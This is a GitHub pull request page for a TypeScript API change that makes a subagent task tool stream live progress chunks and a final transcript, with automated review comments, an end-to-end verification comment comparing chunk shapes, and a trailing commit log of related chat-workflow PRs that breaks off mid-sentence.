Skip to content

feat(task-tool): live subagent progress + transcript (cutover Bundle B)#594

Merged
sweetmantech merged 1 commit into
testfrom
feat/api-chat-workflow-subagent-progress
May 22, 2026
Merged

feat(task-tool): live subagent progress + transcript (cutover Bundle B)#594
sweetmantech merged 1 commit into
testfrom
feat/api-chat-workflow-subagent-progress

Conversation

@sweetmantech
Copy link
Copy Markdown
Contributor

@sweetmantech sweetmantech commented May 22, 2026

Summary

Second cutover bundle. Converts taskTool.execute from a synchronous-return function to an async function* that yields progress chunks throughout the subagent run, then a final chunk carrying the full subagent transcript. Mirrors open-agents' packages/agent/tools/task.ts so sandbox.recoupable.com's "Subagent · X tools · Y tokens" live progress card and expandable transcript render correctly when cut over to api's /api/chat/workflow.

Yielded chunk sequence (mirrors open-agents)

  1. Initial: {toolCallCount: 0, startedAt, modelId} — stable timestamp for elapsed-time UI
  2. Per tool-call part: {pending: {name, input}, toolCallCount, usage, startedAt, modelId}
  3. Per finish-step part: {pending (sticky), toolCallCount, usage (accumulated), startedAt, modelId} — sticky pending prevents UI flicker between steps
  4. Final: {final: ModelMessage[], toolCallCount, usage, startedAt, modelId} — full subagent transcript

toModelOutput

Extracts the last assistant text part from output.final for the parent agent's context — same logic as open-agents.

New files (SRP)

  • lib/agent/messageMetadata/sumLanguageModelUsage.ts — wraps addLanguageModelUsage to handle undefined inputs without introducing zero-tokens placeholders

Drive-by fix

askUserQuestionTool.toModelOutput was still using the old (output) => signature from the ai@6.0.0-beta.122 era. The current SDK (ai@^6.0.190) passes ({ toolCallId, input, output }). Updated to ({ output }) => so the function actually receives the user's answers at runtime — previously it was falling through to the generic "User responded to questions." path regardless of input. Tests updated.

Cutover roadmap

# Bundle This PR Notes
1 C per-message cost/usage ✅ merged #592 / #593
2 B subagent live progress + transcript ✅ this PR
3 A.7+9 real cwd + contextLimit
4 A.6 Anthropic prompt cache control
5 A.4 forward Privy JWT as recoupAccessToken

Test plan

  • 25 new/updated unit tests across 3 files (12 taskTool + 4 sumLanguageModelUsage + 9 askUserQuestion)
  • Full suite 3114/3114 pass; lint clean
  • E2E on preview: confirm task tool emits multiple tool-output-available chunks (one per yield), with pending, usage, and final: [...] shapes matching open-agents production
  • Cross-validate chunk shape against sandbox.recoupable.com capture

🤖 Generated with Claude Code


Summary by cubic

Streams live subagent progress and final transcript from taskTool by converting execute to an async generator, matching open-agents so the UI shows the “Subagent · X tools · Y tokens” card and an expandable transcript. Also fixes askUserQuestionTool.toModelOutput to accept ({ output }) per the current ai SDK.

  • New Features

    • taskTool.execute now yields:
      • Initial: { toolCallCount: 0, startedAt, modelId }
      • On each tool-call: { pending: { name, input }, toolCallCount, usage, startedAt, modelId }
      • On each finish-step: same with accumulated usage and sticky pending
      • Final: { final: ModelMessage[], toolCallCount, usage, startedAt, modelId }
    • Added sumLanguageModelUsage to safely combine optional usage values.
    • taskTool.toModelOutput extracts the last assistant text from output.final.
  • Bug Fixes

    • askUserQuestionTool.toModelOutput now uses ({ output }) (current ai@^6.0.190 shape) so user answers are parsed correctly.

Written for commit ce72f46. Summary will update on new commits. Review in cubic

Summary by CodeRabbit

  • New Features

    • Task execution now streams live progress updates with real-time metrics including tool call counts, token usage, and execution timing.
  • Refactor

    • Improved tool output parameter handling and token usage aggregation across agent tools.

Review Change Stack

Convert taskTool.execute from `async () =>` to `async function*`,
mirroring open-agents' `packages/agent/tools/task.ts`. Yields multiple
chunks during the subagent run so the chat UI can render:

  - An initial "Subagent · 0 tools · 0 tokens" card with stable
    startedAt timestamp
  - A live `pending: {name, input}` indicator for each tool-call
  - Accumulated `usage` after each finish-step
  - A final `{final: ModelMessage[], ...}` chunk containing the full
    subagent transcript for expandable rendering

`toModelOutput` mirrors open-agents' implementation: extracts the
last assistant text part from `output.final` for inclusion in the
parent agent's context.

New (SRP, one function per file):
- lib/agent/messageMetadata/sumLanguageModelUsage.ts — wraps
  addLanguageModelUsage to handle undefined inputs without
  introducing zero-tokens placeholders.

Drive-by fix: askUserQuestionTool's `toModelOutput` signature was
`(output) =>` from the older beta SDK era. The current SDK
(ai@^6.0.190) passes `({ toolCallId, input, output })`. Updated to
`({ output }) =>` so the function actually receives the user's
answers at runtime — was previously falling through to the generic
"User responded to questions." path. Tests updated to match.

Tests: 25 new/updated (12 taskTool + 4 sumLanguageModelUsage + 9
askUserQuestion); full suite 3114/3114 pass; lint clean.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
@vercel
Copy link
Copy Markdown
Contributor

vercel Bot commented May 22, 2026

The latest updates on your projects. Learn more about Vercel for GitHub.

Project Deployment Actions Updated (UTC)
api Ready Ready Preview May 22, 2026 12:12am

Request Review

@coderabbitai
Copy link
Copy Markdown

coderabbitai Bot commented May 22, 2026

📝 Walkthrough

Walkthrough

This PR refactors task tool execution from completion-based to streaming async generator semantics, introducing token usage aggregation across progress events and updating the tool output interface. Task execution now yields structured progress chunks with cumulative tool counts and aggregated language model usage, culminating in a final chunk containing the full transcript and metadata.

Changes

Task Tool Streaming Refactor

Layer / File(s) Summary
Language model usage aggregation utility
lib/agent/messageMetadata/sumLanguageModelUsage.ts
New sumLanguageModelUsage function conditionally merges optional LanguageModelUsage objects, handling both-present, single-present, and all-undefined cases.
Task tool streaming schemas and types
lib/agent/tools/taskTool.ts
Zod schemas define progress chunks (taskPendingToolCallSchema) and final output envelope (taskOutputSchema); exported types (TaskPendingToolCall, TaskToolOutput) document the streaming protocol; imports align to new dependencies; documentation reflects streaming behavior.
Task tool async generator streaming implementation
lib/agent/tools/taskTool.ts
execute converts to async generator yielding progress on each subagent tool-call and finish-step event; yields initial chunk with toolCallCount and startedAt, updates on each event while aggregating token usage via sumLanguageModelUsage, and final chunk containing transcript, usage totals, tool count, and model metadata.
Task tool output to model conversion
lib/agent/tools/taskTool.ts
New toModelOutput function reads the final streamed chunk, extracts the last assistant message part from the transcript, and returns it as parent-model output with a fallback string.
Tool interface pattern adoption
lib/agent/tools/askUserQuestionTool.ts
toModelOutput parameter changes from direct output argument to destructured { output } to match the new tool output pattern.

Sequence Diagram(s)

sequenceDiagram
  participant TaskExecute as Task.execute
  participant StreamText as streamText
  participant ToolEvents as Tool Events
  participant OutputStream as Output Stream
  TaskExecute->>StreamText: initialize with prompt
  StreamText->>ToolEvents: emit tool-call
  TaskExecute->>OutputStream: yield progress (toolCallCount, startedAt)
  ToolEvents->>TaskExecute: finish-step event
  TaskExecute->>TaskExecute: sumLanguageModelUsage (aggregate)
  TaskExecute->>OutputStream: yield update (incremented toolCallCount)
  StreamText->>ToolEvents: execution complete
  TaskExecute->>OutputStream: yield final (messages, usage, metadata)
Loading

Estimated code review effort

🎯 3 (Moderate) | ⏱️ ~22 minutes

Possibly related PRs

  • recoupable/api#589: Directly implements the streaming async generator refactor and parameter signature updates to these same tools.
  • recoupable/api#592: Introduces addLanguageModelUsage for per-message usage accumulation, which pairs with this PR's new sumLanguageModelUsage for streaming token aggregation.

Suggested reviewers

  • cubic-dev-ai

Poem

🌊 Tasks now flow like rivers deep,
Yielding progress as they sweep,
Usage tallied, step by step,
Streams of data, cleanly kept. ✨

🚥 Pre-merge checks | ✅ 3
✅ Passed checks (3 passed)
Check name Status Explanation
Linked Issues check ✅ Passed Check skipped because no linked issues were found for this pull request.
Out of Scope Changes check ✅ Passed Check skipped because no linked issues were found for this pull request.
Solid & Clean Code ✅ Passed PR adheres to SOLID: focused functions, code wrapped not modified, no duplication, simple implementations, clear naming and documentation.

✏️ Tip: You can configure your own custom pre-merge checks in the settings.

✨ Finishing Touches
📝 Generate docstrings
  • Create stacked PR
  • Commit on current branch
🧪 Generate unit tests (beta)
  • Create PR with unit tests
  • Commit unit tests in branch feat/api-chat-workflow-subagent-progress

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

Comment @coderabbitai help to get the list of available commands and usage tips.

Copy link
Copy Markdown

@coderabbitai coderabbitai Bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🧹 Nitpick comments (3)
lib/agent/tools/askUserQuestionTool.ts (1)

60-87: ⚡ Quick win

Split toModelOutput into focused format helpers.

This function is above the 20-line threshold and currently combines branching with output serialization. Extracting small formatters will keep it easier to evolve safely.

♻️ Suggested refactor sketch
+function formatDeclinedResponse() {
+  return {
+    type: "text" as const,
+    value:
+      "User declined to answer questions. You should continue without this information or ask in a different way.",
+  };
+}
+
+function formatAnswersResponse(answers: Record<string, string | string[]>) {
+  const formatted = Object.entries(answers)
+    .map(([question, answer]) => `"${question}"="${Array.isArray(answer) ? answer.join(", ") : answer}"`)
+    .join(", ");
+  return {
+    type: "text" as const,
+    value: `User has answered your questions: ${formatted}. You can now continue with the user's answers in mind.`,
+  };
+}

As per coding guidelines, **/*.{js,ts,tsx,jsx,py,java,cs,go,rb,php}: "Flag functions longer than 20 lines or classes with >200 lines" and "Keep functions small and focused".

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@lib/agent/tools/askUserQuestionTool.ts` around lines 60 - 87, The
toModelOutput function is overlong and mixes branching with string
serialization; extract focused formatter helpers (e.g., formatNoResponse,
formatDeclined, formatAnswers, formatGenericResponse) and call them from
toModelOutput to keep the logic under 20 lines; locate the toModelOutput export
in askUserQuestionTool.ts and replace the inline branches with calls to these
new helper functions (each returns the {type:"text", value:...} object), ensure
formatAnswers handles array vs scalar answers and joins as before, and keep the
same return values and messages to preserve behavior.
lib/agent/tools/taskTool.ts (2)

99-153: 🏗️ Heavy lift

Refactor execute into smaller helpers to keep it maintainable.

This generator now mixes setup, stream event handling, state mutation, and finalization in one long function. Splitting these concerns into helper functions will improve readability and testability.

♻️ Suggested refactor sketch
+function buildInitialChunk(startedAt: number, modelId: string | undefined) {
+  return { toolCallCount: 0, startedAt, modelId };
+}
+
+function buildProgressChunk(args: {
+  pending: TaskPendingToolCall | undefined;
+  toolCallCount: number;
+  usage: LanguageModelUsage | undefined;
+  startedAt: number;
+  modelId: string | undefined;
+}) {
+  return args;
+}
+
+function buildFinalChunk(args: {
+  final: ModelMessage[];
+  toolCallCount: number;
+  usage: LanguageModelUsage | undefined;
+  startedAt: number;
+  modelId: string | undefined;
+}) {
+  return args;
+}

As per coding guidelines, **/*.{js,ts,tsx,jsx,py,java,cs,go,rb,php}: "Flag functions longer than 20 lines or classes with >200 lines" and "Keep functions small and focused".

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@lib/agent/tools/taskTool.ts` around lines 99 - 153, The execute generator is
doing setup, streaming handling, state mutation and finalization in one long
function; refactor by extracting: 1) a setup helper (e.g., prepareSubagent or
buildSubagentRequest) that computes subagentModel/subagentModelId, builds the
system/prompt, calls streamText and returns result/startedAt; 2) an
emitInitialChunk helper that yields the initial {toolCallCount, startedAt,
modelId}; 3) a handleStreamPart helper that accepts a stream part and mutable
state (toolCallCount, pending: TaskPendingToolCall | undefined, usage:
LanguageModelUsage | undefined) and returns the updated state and any yield
object (handle "tool-call" and "finish-step" by updating toolCallCount, pending,
usage using sumLanguageModelUsage and preserving pending across steps); and 4) a
finalizeResponse helper that awaits result.response/totalUsage and returns the
final yield payload; then rewrite execute to call these small helpers in
sequence while iterating result.fullStream. Ensure helpers reference existing
symbols (execute, streamText, result.fullStream, TaskPendingToolCall,
sumLanguageModelUsage, SUBAGENT_STEP_LIMIT) and preserve exact yield semantics
and ordering.

160-174: ⚡ Quick win

Extract the repeated fallback output into a constant.

The same fallback payload is repeated multiple times. Centralizing it avoids drift and makes intent clearer.

🧩 Suggested change
+const TASK_COMPLETED_FALLBACK = { type: "text", value: "Task completed." } as const;
...
   toModelOutput: ({ output }) => {
     const messages = output?.final;
-    if (!messages) return { type: "text", value: "Task completed." };
+    if (!messages) return TASK_COMPLETED_FALLBACK;
...
-    if (!content) return { type: "text", value: "Task completed." };
+    if (!content) return TASK_COMPLETED_FALLBACK;
...
-    if (!lastTextPart) return { type: "text", value: "Task completed." };
+    if (!lastTextPart) return TASK_COMPLETED_FALLBACK;

As per coding guidelines, **/*.{js,ts,tsx,jsx,py,java,cs,go,rb,php}: "Use constants for repeated values".

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@lib/agent/tools/taskTool.ts` around lines 160 - 174, The toModelOutput
handler repeats the same fallback object several times; define a single constant
(e.g., const TASK_COMPLETED_OUTPUT = { type: "text", value: "Task completed." })
at the top of the module or just above toModelOutput and replace every repeated
return that currently returns { type: "text", value: "Task completed." } with
returning TASK_COMPLETED_OUTPUT; update references inside toModelOutput
(messages, lastAssistant, content, lastTextPart checks) to use that constant so
the fallback is centralized and consistent.
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

Nitpick comments:
In `@lib/agent/tools/askUserQuestionTool.ts`:
- Around line 60-87: The toModelOutput function is overlong and mixes branching
with string serialization; extract focused formatter helpers (e.g.,
formatNoResponse, formatDeclined, formatAnswers, formatGenericResponse) and call
them from toModelOutput to keep the logic under 20 lines; locate the
toModelOutput export in askUserQuestionTool.ts and replace the inline branches
with calls to these new helper functions (each returns the {type:"text",
value:...} object), ensure formatAnswers handles array vs scalar answers and
joins as before, and keep the same return values and messages to preserve
behavior.

In `@lib/agent/tools/taskTool.ts`:
- Around line 99-153: The execute generator is doing setup, streaming handling,
state mutation and finalization in one long function; refactor by extracting: 1)
a setup helper (e.g., prepareSubagent or buildSubagentRequest) that computes
subagentModel/subagentModelId, builds the system/prompt, calls streamText and
returns result/startedAt; 2) an emitInitialChunk helper that yields the initial
{toolCallCount, startedAt, modelId}; 3) a handleStreamPart helper that accepts a
stream part and mutable state (toolCallCount, pending: TaskPendingToolCall |
undefined, usage: LanguageModelUsage | undefined) and returns the updated state
and any yield object (handle "tool-call" and "finish-step" by updating
toolCallCount, pending, usage using sumLanguageModelUsage and preserving pending
across steps); and 4) a finalizeResponse helper that awaits
result.response/totalUsage and returns the final yield payload; then rewrite
execute to call these small helpers in sequence while iterating
result.fullStream. Ensure helpers reference existing symbols (execute,
streamText, result.fullStream, TaskPendingToolCall, sumLanguageModelUsage,
SUBAGENT_STEP_LIMIT) and preserve exact yield semantics and ordering.
- Around line 160-174: The toModelOutput handler repeats the same fallback
object several times; define a single constant (e.g., const
TASK_COMPLETED_OUTPUT = { type: "text", value: "Task completed." }) at the top
of the module or just above toModelOutput and replace every repeated return that
currently returns { type: "text", value: "Task completed." } with returning
TASK_COMPLETED_OUTPUT; update references inside toModelOutput (messages,
lastAssistant, content, lastTextPart checks) to use that constant so the
fallback is centralized and consistent.

ℹ️ Review info
⚙️ Run configuration

Configuration used: Path: .coderabbit.yaml

Review profile: CHILL

Plan: Pro

Run ID: d3f9c6ba-529f-4617-a4ff-b13c6fa50316

📥 Commits

Reviewing files that changed from the base of the PR and between bfb4595 and ce72f46.

⛔ Files ignored due to path filters (3)
  • lib/agent/messageMetadata/__tests__/sumLanguageModelUsage.test.ts is excluded by !**/*.test.*, !**/__tests__/** and included by lib/**
  • lib/agent/tools/__tests__/askUserQuestionTool.test.ts is excluded by !**/*.test.*, !**/__tests__/** and included by lib/**
  • lib/agent/tools/__tests__/taskTool.test.ts is excluded by !**/*.test.*, !**/__tests__/** and included by lib/**
📒 Files selected for processing (3)
  • lib/agent/messageMetadata/sumLanguageModelUsage.ts
  • lib/agent/tools/askUserQuestionTool.ts
  • lib/agent/tools/taskTool.ts

Copy link
Copy Markdown

@cubic-dev-ai cubic-dev-ai Bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

1 issue found across 6 files

Confidence score: 5/5

  • This looks low risk to merge because the only flagged item is a maintainability/style concern, not a functional defect or regression risk.
  • The issue in lib/agent/tools/__tests__/taskTool.test.ts is a test-file length violation (over the 100-line limit), which mainly affects readability and long-term upkeep.
  • Pay close attention to lib/agent/tools/__tests__/taskTool.test.ts - consider splitting the test into smaller sections to align with the repository’s line-limit convention.
Prompt for AI agents (unresolved issues)

Check if these issues are valid — if so, understand the root cause of each and fix them. If appropriate, use sub-agents to investigate and fix each issue separately.


<file name="lib/agent/tools/__tests__/taskTool.test.ts">

<violation number="1" location="lib/agent/tools/__tests__/taskTool.test.ts:59">
P2: Custom agent: **Enforce Clear Code Style and Maintainability Practices**

Test file exceeds the repository’s 100-line limit.</violation>
</file>
Architecture diagram
sequenceDiagram
    participant Parent as Parent Agent
    participant Task as taskTool.execute
    participant Stream as streamText (subagent)
    participant SubTools as Subagent Tool Set
    participant UI as Chat UI

    Note over Parent,UI: Runtime flow when parent agent invokes task tool

    Parent->>Task: invoke tool with { task, instructions }
    Task->>Task: getSubagentModel(experimental_context)
    Task->>Stream: call streamText(...) with system prompt + tools

    Task-->>Parent: yield { toolCallCount:0, startedAt, modelId }

    loop For each part in fullStream
        Stream->>Stream: produce next part
        alt part type === "tool-call"
            Task->>Task: increment toolCallCount, set pending tool info
            Task-->>Parent: yield { pending, toolCallCount, usage, startedAt, modelId }
            Stream->>SubTools: execute tool
            SubTools-->>Stream: tool result
        else part type === "finish-step"
            Task->>Task: accumulate usage via sumLanguageModelUsage
            Task-->>Parent: yield { pending(sticky), toolCallCount, usage, startedAt, modelId }
        end
    end

    Stream->>Stream: await result.response
    Task->>Task: compute finalUsage from accumulated usage or totalUsage
    Task-->>Parent: yield { final: response.messages, usage, toolCallCount, startedAt, modelId }

    alt SDK calls toModelOutput
        Parent->>Task: toModelOutput({ output })
        Task->>Task: extract last assistant text from output.final
        Task-->>Parent: return { type:"text", value:summary }
    end

    Note over UI: Live progress card renders from yielded chunks
    UI->>UI: "Subagent · X tools · Y tokens" card updates on each yield
    UI->>UI: Expandable transcript renders when final chunk received
Loading

Reply with feedback, questions, or to request a fix.

Re-trigger cubic

@@ -1,5 +1,5 @@
import { describe, it, expect, vi, beforeEach } from "vitest";
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2: Custom agent: Enforce Clear Code Style and Maintainability Practices

Test file exceeds the repository’s 100-line limit.

Prompt for AI agents
Check if this issue is valid — if so, understand the root cause and fix it. At lib/agent/tools/__tests__/taskTool.test.ts, line 59:

<comment>Test file exceeds the repository’s 100-line limit.</comment>

<file context>
@@ -12,79 +12,176 @@ vi.mock("@/lib/sandbox/vercel/connect/connectVercel", () => ({
-    // system prompt contains task + instructions so the subagent knows its scope
-    expect(args.system).toEqual(expect.stringContaining("Find the largest .ts file"));
-    expect(args.system).toEqual(expect.stringContaining("Use glob and stat"));
+describe("taskTool.execute (async generator)", () => {
+  it("yields an initial chunk with toolCallCount=0 + startedAt + modelId before the subagent does any work", async () => {
+    vi.mocked(streamText).mockReturnValue(makeStreamResult({}) as never);
</file context>

@sweetmantech
Copy link
Copy Markdown
Contributor Author

E2E verified + byte-compatible with open-agents ✅

Preview: https://api-q22ol7soo-recoup.vercel.app (commit ce72f46d)

Provisioned a sandbox against vercel/next.js, then sent a task-delegation prompt. The subagent ran one bash call internally, then summarized. Compared the resulting tool-output-available chunk sequence to a fresh capture from open-agents production (sandbox.recoupable.com).

Yield-sequence parity

Yield # api preview keys open-agents prod keys Match
1 [modelId, startedAt, toolCallCount] [modelId, startedAt, toolCallCount]
2 [modelId, pending, startedAt, toolCallCount] [modelId, pending, startedAt, toolCallCount]
3 [modelId, pending, startedAt, toolCallCount, usage] [modelId, pending, startedAt, toolCallCount, usage]
4 [modelId, pending, startedAt, toolCallCount, usage] [modelId, pending, startedAt, toolCallCount, usage]
5 [final, modelId, startedAt, toolCallCount, usage] [final, modelId, startedAt, toolCallCount, usage]
6 [final, modelId, startedAt, toolCallCount, usage] [final, modelId, startedAt, toolCallCount, usage]

Both backends emit exactly 6 tool-output-available chunks for the same workload (1 subagent tool call, 2 finish-steps). The AI SDK appears to emit the last yield twice (once during the stream, once as the "settled" output) — same behavior on both sides.

Sample yields from api preview

#1 initial:    { toolCallCount: 0, startedAt: 1779408918984, modelId: "anthropic/claude-haiku-4.5" }
#2 tool-call:  { ..., pending: { name: "bash", input: { command: "ls -la" } }, toolCallCount: 1 }
#3 step 1:     { ..., usage: { inputTokens: 3421, outputTokens: 74 }, pending: <sticky> }
#4 step 2:     { ..., usage: { inputTokens: 9739, outputTokens: 424 }, pending: <sticky> }
#5 final:      { final: [3 messages], usage: { ... }, ... }
#6 final dup:  same as #5

toModelOutput validated end-to-end

The parent agent's final text relayed the subagent's summary correctly:

"The workspace is a large monorepo containing Rust and Node.js projects with directories like apps, crates, packages, and scripts alongside various configuration files."

This proves the toModelOutput: ({ output }) => { ... output.final ... } extraction pulled the last assistant text from the subagent's transcript and made it available to the parent — same logic open-agents uses.

Cutover invariant met

sandbox.recoupable.com's "Subagent · X tools · Y tokens" live card + expandable transcript will render against api's /api/chat/workflow without any UI-side change. The chunk shapes are identical field-for-field.

Ready to merge.

@sweetmantech sweetmantech merged commit 386c4ee into test May 22, 2026
6 checks passed
@sweetmantech sweetmantech deleted the feat/api-chat-workflow-subagent-progress branch May 22, 2026 00:20
sweetmantech added a commit that referenced this pull request May 22, 2026
* feat(chat-workflow): POST /api/chat/workflow route stub (PR 2 of 5) (#579)

* feat(chat-workflow): add POST /api/chat/workflow route stub

Adds the route stub for the new sandbox-driven, Vercel-Workflow-backed
chat endpoint documented in recoupable/docs#221. The stub validates
the full request contract (auth, body, session/chat ownership,
sandbox active) and returns a hardcoded UIMessage stream with an
x-workflow-run-id: stub-<uuid> header — so the chat-side team can
integrate against the real response shape today while the workflow
itself is being ported from open-agents in follow-up PRs.

Files:
- app/api/chat/workflow/route.ts — thin POST shim + OPTIONS for CORS
- lib/chat/handleChatWorkflowStream.ts — auth → validate → session/chat
  ownership → sandbox check → stub UIMessage stream
- lib/chat/validateChatWorkflowBody.ts — Zod schema matching the OpenAPI
  ChatWorkflowRequest (messages, chatId, sessionId, optional
  context.contextLimit)

Status codes implemented (match contract docs):
- 200 — UIMessage stream + x-workflow-run-id header
- 400 — invalid JSON / invalid body / "Sandbox not initialized"
- 401 — validateAuthContext passthrough
- 403 — session not owned by API key's account
- 404 — session or chat not found (incl. chat under different session)
- 500 — selectSessions returned null (DB error)

409 (duplicate workflow run for chat) is deferred to the wire-up PR
that adds compareAndSetChatActiveStreamId — no workflow to dedupe yet.

Tests (TDD red→green): 23 new tests, all green; full suite 2901 pass.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* refactor(chat-workflow): address PR review — SRP/DRY cleanup

Two review fixes per PR feedback:

1. SRP/DRY — drop the local errorResponse helper from
   handleChatWorkflowStream.ts; use the shared
   lib/networking/errorResponse and lib/zod/validationErrorResponse
   helpers instead.

2. SRP — move auth + body parsing out of handleChatWorkflowStream.ts
   into the validator. Rename validateChatWorkflowBody → validateChatWorkflow
   so it accepts a full NextRequest (like the existing validateChatRequest)
   and returns an auth-augmented body (accountId/orgId/authToken). The
   handler now opens with a single `validateChatWorkflow(request)` call.

Tests reshaped to match new seams:
- Validator test mocks validateAuthContext only
- Handler test mocks validateChatWorkflow (the new seam)
- Old "400 invalid JSON" + "400 missing chatId" handler tests collapsed
  into a single "validator short-circuit passes through" test — both are
  now the validator's responsibility, not the handler's

22/22 new tests green; full suite 2900/2900 pass; lint clean.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* chore: revert unrelated local changes accidentally swept into PR

Previous commit (9262f65) used `git add -A` which picked up local
Supabase CLI artifacts (supabase/.temp/) and a local .gitignore tweak
that aren't part of this PR's scope. Removing them now so the PR
diff stays scoped to the chat-workflow refactor.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* feat(chat-workflow): wire POST /api/chat/workflow to durable Vercel Workflow (PR 3 of 4) (#581)

* feat(chat-workflow): wire POST /api/chat/workflow to durable Vercel Workflow

Replaces the stub UIMessage stream in PR #579 with a real Vercel Workflow
agent loop. Stub run-ids (`stub-<uuid>`) are replaced with real ones
(`wrun_<id>`) emitted by the workflow runtime. Tools are still NOT wired —
the workflow runs streamText with the gateway model + Recoup custom
instructions only. Sandbox tool surface comes in a follow-up PR.

What's now plumbed end-to-end:
- validateChatWorkflow → session+chat ownership → sandbox active → reconcile
  existing active_stream_id (resume / 409 / fall-through) → refresh
  lifecycle activity → fire-and-forget persist user message → start
  runAgentWorkflow → CAS active_stream_id (cancel + 409 on race) →
  return run.getReadable() with x-workflow-run-id header

New helpers (Supabase):
- compareAndSetChatActiveStreamId — atomic CAS on chats.active_stream_id
- touchChat — bump chats.updated_at
- updateChat — generic partial update mirroring updateSession's shape
- createChatMessageIfNotExists — INSERT ... ON CONFLICT DO NOTHING via upsert
- isFirstChatMessage — true iff exactly one row exists matching messageId

New helpers (chat/recoupable):
- extractOrgId — `org-<slug>-<uuid>` → uuid (lowercased)
- agentCustomInstructions — assistantFileLinkPrompt + recoupApiSkillPrompt
- persistLatestUserMessage — fire-and-forget user msg + title-from-first-80
- reconcileExistingActiveStream — 3-attempt resume/clear/conflict loop

New workflow files:
- app/workflows/runAgentWorkflow.ts — `"use workflow"`, agent loop wrapper
- app/workflows/runAgentStep.ts — `"use step"`, single streamText turn

Tests: 46 new (8 extractOrgId + 5 cAS + 3 touchChat + 2 updateChat + 3
createChatMessageIfNotExists + 5 isFirstChatMessage + 7 persistLatest +
6 reconcileExistingActiveStream + 18 handler-wire-up tests refactored).
Full suite: 2946/2946 pass, lint clean.

Out of scope (next PR): sandbox tool ports (10 files + buildAgentTools).
Without tools, `finishReason` is always "stop" after one turn — the
runAgentWorkflow loop shape is in place but only iterates once today.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* refactor(chat-workflow): address PR review — structural + P1/P2 fixes

Sweetman structural feedback (KISS / OCP):
- Move workflow files: app/workflows/runAgent{Workflow,Step}.ts →
  app/lib/workflows/runAgent{Workflow,Step}.ts
- Generic Supabase helpers + domain wrappers:
  - Generic `updateChat({filter, updates})` with optional CAS predicate
    on active_stream_id. Subsumes compareAndSetChatActiveStreamId and
    touchChat (both deleted).
  - Generic `selectChatMessages({chatId, orderBy, limit, ...})` replaces
    domain-specific isFirstChatMessage. The "is earliest?" check now
    lives in persistLatestUserMessage where it belongs.
  - Rename createChatMessageIfNotExists → `upsertChatMessage` with a
    discriminated `{ok, row, isDuplicate} | {ok:false, error}` result so
    callers can tell duplicates from DB errors.
- Extract resume-stream block from handler into `maybeResumeChatStream.ts`
  (OCP — handler stays small, resume logic grows independently).

cubic P1 fixes:
- CAS-before-start: handler now claims `active_stream_id` with a
  `pending-<uuid>` placeholder BEFORE calling start(workflow). Closes the
  race where two requests could both bill the model before one lost the
  CAS. After start(), promotes the placeholder to the real run id.
- updateChat returns discriminated `{ok, rowsUpdated} | {ok:false, error}`
  so callers distinguish "race lost" (rowsUpdated:0) from DB errors.
- reconcileExistingActiveStream: bare try/catch on getRun no longer
  clears stale active_stream_id on transient workflow API failures —
  we treat any uncertainty as conflict. Failed CAS-clear on a completed
  run also returns conflict (rather than possibly falling through to
  ready on a DB read error).
- await getRun(runId).cancel() in handler — previously synchronous +
  unawaited cancellation could escape the try/catch.

cubic P2 fixes:
- updateChat updates parameter narrowed to `ChatMutableFields` (excludes
  id, session_id, created_at).
- persistLatestUserMessage: title truncation now respects TITLE_MAX_LENGTH
  exactly. Uses "…" (1 char) instead of "..." (3 chars) and slices to
  body-budget = max - suffix.
- runAgentStep: acquire writer once, release in finally. Per-chunk writer
  acquisition could leak the lock on write failure.
- runAgentWorkflow: capped at a single turn until messages threading
  lands with tool ports (PR 4). Multi-turn loop with the same input was
  unsafe — log+warn if model returns tool-calls and exit.

Tests reworked: 231 in the touched files all green; full suite 2949/2949;
lint clean.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* refactor(chat-workflow): top-level import in reconcileExistingActiveStream

The dynamic `await import("workflow/api")` inside the function body was
a carry-over from open-agents — handleChatWorkflowStream.ts already
top-level imports `start` and `getRun` from the same package, so there's
no reason for the lib to defer. Moving to a normal top-level import for
consistency.

Also tightens the cancel-throws handler test to use the same deferred-
rejection pattern as reconcileExistingActiveStream.test.ts so Vitest's
unhandled-rejection watcher doesn't trip on the mock setup.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* refactor(chat-workflow): move active_stream_id CAS out of supabase lib

Per sweetman's review on updateChat.ts:64 — the active_stream_id-specific
predicate logic doesn't belong in the Supabase plumbing. Restructured:

- `lib/supabase/chats/updateChat.ts` now generic. The filter accepts
  `where: Partial<Tables<"chats">>` (a generic predicate that maps to
  `column = value` or `column IS NULL`) so no column name is hardcoded
  in the Supabase lib.

- `lib/chat/compareAndSetChatActiveStreamId.ts` — new domain wrapper.
  Owns the "compare-and-set on active_stream_id" concept and returns a
  discriminated `{ok, claimed} | {ok: false, error}` result. Handler
  and reconcileExistingActiveStream both compose against this wrapper
  instead of constructing predicates inline.

- Handler + reconcile updated to use the wrapper. Tests follow.

37/37 tests in touched files pass; full suite 2955/2955; lint clean.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* fix(chat-workflow): Next.js build — discriminated-union narrowing + supabase type depth

Two production-build issues surfaced by Vercel that local pnpm test +
tsc didn't catch (vitest uses esbuild transpile, no type check; tsc's
errors were all in __tests__ unrelated to this PR).

1. `compareAndSetChatActiveStreamId.ts` — `if (result.ok) { ... }`
   narrowing wasn't kicking in under Next.js's strict TS plugin.
